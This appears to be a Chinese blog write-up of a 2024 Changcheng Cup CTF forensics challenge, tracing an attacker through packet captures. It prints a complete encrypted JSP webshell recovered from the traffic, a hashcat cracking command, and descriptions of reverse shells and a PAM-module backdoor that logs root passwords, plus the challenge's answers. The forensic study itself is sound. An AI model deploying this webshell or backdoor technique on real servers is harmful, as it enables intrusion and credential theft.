2024长城杯决赛-溯源取证 复现
您的同事李白在运维一台部署了移动应用服务端的linux服务器时发现了异常,好像被黑客攻击了。小李通过简单分析,发现可能是由于公司的移动应用和其服务端程序都存在安全问题导致的。小李将当天可能与攻击相关的流量导出,并与移动应用一起打包压缩,你可以下载分析,也可以登录此服务器进行攻击溯源、排查等,提供了SSH和VNC访问的方式供您和您的团队进行分析取证。 条件限制,没有靶机,但是用流量包也可以做
关卡1简答分值?10
关卡描述:黑客攻击此服务器所使用的2个IP分别是什么(ascii码从小到大排列,空格分隔)
先看ip统计

能确定在1-4之间肯定有两个攻击ip
根据谁发送的post请求来确定
第一个.1好确认

第二个用ip.src==202.1.1.129筛选


自然129就是发送方
202.1.1.1 202.1.1.129
关卡2简答分值 102024长城杯决赛-溯源取证
关卡描述:存在安全问题的apk中使用的登录密码是什么?

关卡3简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客尝试上传一个文件但显示无上传权限的文件名是什么?
用http.request.method=="POST" || http.response.code==200进行筛选


关卡4简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客利用的漏洞接口的api地址是什么?(http://xxxx/xx)
还是刚刚那个请求

http://202.1.1.66:8080/api/upload
关卡5简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客上传的webshell绝对路径是什么?
继续看下一个成功的地方

这里是上传成功了,先放着

1 | <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("bing_pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%> |
这个感觉没靶机不知道他的绝对路径
/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp
关卡6简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客上传的webshell的密码是什么?
bing_pass
上面的webshell中的if函数是判断如果包含bing_pass就进入加密流程
关卡7简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客通过webshell执行的第一条命令是什么?
继续筛选

发现这里有两个get请求,看起来像webshell密钥

第一个解不开

第二个密钥neta可以解出来一部分

按照顺序看到的第二个java文件

执行的命令是pwd
关卡8简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客获取webshell时查询当前shell的权限是什么?
第三个是whoami

返回的tomcat

关卡9简答分值 102024长城杯决赛-溯源取证
关卡描述:利用 webshell 查询服务器 Linux 系统发行版本是什么?


CentOS Linux release 7.4.1708 (Core)
关卡10简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客从服务器上下载的秘密文件的绝对路径是什么?
/usr/local/tomcat/webapps/ROOT/static/secert.file
这个感觉只能看靶机
关卡11简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客通过反连执行的第一条命令是什么?
22个用户已解出

这里反弹shell了,刚好就是我们之前看的ip地址
所以第二题这个

就是cat /etc/passwd
关卡12简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客通过什么文件修改的 root 密码(绝对路径)

只修改了/etc/passwd文件那就是/etc/passwd
关卡13简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客设置的 root 密码是多少?
root:$6$KHysqjWMnoaHJ4QW$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N..:0:0:root:/root:/bin/bash
用hashcat爆破hashcat -m 1800 -a 0 "$6$KHysqjWMnoaHJ4QW$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N.." rockyou.txt
hashcat爆破是123456

关卡14简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客留下后门的反连的 ip 和 port 是什么?(ip:port)
除了4444还有个9999,尝试输入就对了

18个用户已解出
关卡15简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客通过后门反连执行的第一条命令是什么?

关卡16简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客通过什么文件留下了后门?
这里看了pam_unix.so,容易得到pam是验证登陆工具,所以肯定用这个留下的后门,附件也给了两个pam 的so文件
关卡17简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客设置的后门密码是什么?
附件2比附件1大很多
经过字符串分析多了俩


这么一看后门密码就是ssh_back_pwd(中文翻译也看得出来吧)
12个用户已解出
关卡18简答分值 102024长城杯决赛-溯源取证
关卡描述:黑客的后门将 root 密码记录在哪个文件中?(绝对路径)
/tmp/.sshlog
见上
- 标题: 2024长城杯决赛-溯源取证 复现
- 作者: ljnljn
- 创建于 : 2026-05-08 15:48:00
- 更新于 : 2026-05-25 22:04:46
- 链接: https://ljnljn2005.github.io/2026/05/08/2024长城杯决赛-溯源取证 复现/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。